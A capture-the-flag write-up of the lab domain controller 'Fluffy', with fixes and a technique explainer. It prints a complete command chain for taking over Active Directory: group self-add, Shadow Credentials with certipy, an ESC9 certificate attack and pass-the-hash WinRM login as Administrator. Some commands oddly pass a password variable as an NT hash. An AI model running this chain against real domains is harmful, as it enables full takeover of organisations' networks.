Fluffy
Summary
Starting from a single low-privilege domain credential (p.agila / [REDACTED: recovered credential]) supplied under an assumed-breach engagement, I collected the full Active Directory ACL graph with BloodHound and discovered that p.agila could self-add to the privileged 'Service Accounts' group. Membership in that group carried write rights over the msDS-KeyCredentialLink attribute of two domain service accounts.
A Shadow Credentials attack recovered the NT hash of winrm_svc, giving an interactive WinRM shell and the user flag. Repeating the attack from winrm_svc compromised ca_svc — the account managing the domain Certificate Authority.
Ca_svc's control over AD CS was exploited via an ESC9-style UPN-collision attack: its User Principal Name was temporarily changed to 'administrator', a certificate was requested from the CA, and PKINIT authentication on that certificate returned the built-in Administrator's NT hash. Pass-the-hash WinRM login as Administrator gave full Domain Admin access and the root flag, completing total domain compromise across five chained misconfigurations.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 53,88,139,389,445,464,593,636,3268,3269,5985,9389 --open -oN dc01_scan.txt $TARGETecho "$TARGET dc01.fluffy.htb fluffy.htb" | sudo tee -a /etc/hostsnetexec smb $TARGETExact commands 3
bloodhound-python -u p.agila -p "$PASSWORD" -d fluffy.htb -ns $TARGET -dc dc01.fluffy.htb -c All --zip --dns-tcp --disable-autogcgrep -R "GenericAll\|GenericWrite\|Owns\|AddKeyCredentialLink\|Self" bh/*.json | head -50faketime '+7 hours' certipy find -u 'p.agila@fluffy.htb' -p "$PASSWORD" -dc-ip $TARGET -stdout -vulnerableExact commands 1
bloodyAD --host $TARGET -d fluffy.htb -u p.agila -p "$PASSWORD" add groupMember 'Service Accounts' p.agilaFixRemove Self-Membership and GenericWrite ACEs that allow ordinary users to join privileged groupsHigh
Exact commands 1
faketime '+7 hours' certipy shadow auto -u 'p.agila@fluffy.htb' -p "$PASSWORD" -dc-ip $TARGET -target $TARGET -account winrm_svcFixRestrict write access to msDS-KeyCredentialLink to prevent Shadow Credentials attacksCritical
Exact commands 2
netexec winrm $TARGET -d fluffy.htb -u winrm_svc -H $PASSWORD -x 'type C:\Users\winrm_svc\Desktop\user.txt'evil-winrm -i $TARGET -u winrm_svc -H $PASSWORDExact commands 1
faketime '+7 hours' certipy shadow auto -u 'winrm_svc@fluffy.htb' -hashes ":$PASSWORD" -dc-ip $TARGET -target $TARGET -account ca_svcExact commands 4
certipy account update -u 'ca_svc@fluffy.htb' -hashes ":$PASSWORD" -dc-ip $TARGET -target $TARGET -user ca_svc -upn administratorcertipy req -u 'ca_svc@fluffy.htb' -hashes ":$PASSWORD" -dc-ip $TARGET -target $TARGET -ca 'fluffy-DC01-CA' -template Usercertipy auth -pfx administrator.pfx -dc-ip $TARGETcertipy account update -u 'ca_svc@fluffy.htb' -hashes ":$PASSWORD" -dc-ip $TARGET -target $TARGET -user ca_svc -upn 'ca_svc@fluffy.htb'FixEnforce strong certificate mapping in AD CS to eliminate ESC9 UPN-collision certificate abuseCritical
Exact commands 2
netexec winrm $TARGET -d fluffy.htb -u administrator -H <administrator-NT-hash> -x 'type C:\Users\Administrator\Desktop\root.txt'evil-winrm -i $TARGET -u administrator -H <administrator-NT-hash>Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-07 07:35:06Z) |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name) |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name) |
| 3269/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49667/tcp | unknown recon-sweep-discovered |
| 49689/tcp | unknown recon-sweep-discovered |
| 49690/tcp | unknown recon-sweep-discovered |
| 49701/tcp | unknown recon-sweep-discovered |
| 49714/tcp | unknown recon-sweep-discovered |
| 49727/tcp | unknown recon-sweep-discovered |
| 49761/tcp | unknown recon-sweep-discovered |